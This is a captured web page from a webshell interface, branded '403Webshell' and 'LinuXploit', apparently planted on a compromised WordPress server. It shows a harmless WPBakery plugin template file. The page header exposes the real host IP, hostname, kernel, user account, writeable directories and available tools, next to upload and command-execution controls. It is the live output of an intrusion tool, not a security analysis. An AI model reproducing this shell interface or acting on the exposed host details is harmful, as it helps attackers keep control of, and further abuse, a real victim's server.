403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/infrafs/www/wp-content/plugins/js_composer/include/templates/shortcodes/post_block/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/infrafs/www/wp-content/plugins/js_composer/include/templates/shortcodes/post_block/_item.php
<?php
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}
/** @var array $block_data */
$block = $block_data[0];
$settings = $block_data[1];
$link_setting = empty( $settings[0] ) ? '' : $settings[0];

$output = '';
if ( 'title' === $block ) {
	$output .= '<h2 class="post-title">';
	$output .= empty( $link_setting ) || 'no_link' !== $link_setting ? $this->getLinked( $post, $post->title, $link_setting, 'link_title' ) : $post->title;
	$output .= '</h2>';
} elseif ( 'image' === $block && ! empty( $post->thumbnail ) ) {
	$output .= '<div class="post-thumb">';
	$output .= empty( $link_setting ) || 'no_link' !== $link_setting ? $this->getLinked( $post, $post->thumbnail, $link_setting, 'link_image' ) : $post->thumbnail;
	$output .= '</div>';
} elseif ( 'text' === $block ) {
	$output .= '<div class="entry-content">';
	$output .= empty( $link_setting ) || 'text' === $link_setting ? $post->content : $post->excerpt;
	$output .= '</div>';
} elseif ( 'link' === $block ) {
	$output .= '<a href="' . esc_url( $post->link ) . '" class="vc_read_more" title="' . sprintf( esc_attr__( 'Permalink to %s', 'js_composer' ), esc_attr( $post->title_attribute ) ) . '" ';
	$output .= $this->link_target;
	$output .= '>';
	$output .= esc_html__( 'Read more', 'js_composer' );
	$output .= '</a>';
}

return $output;

Youez - 2016 - github.com/yon3zu
LinuXploit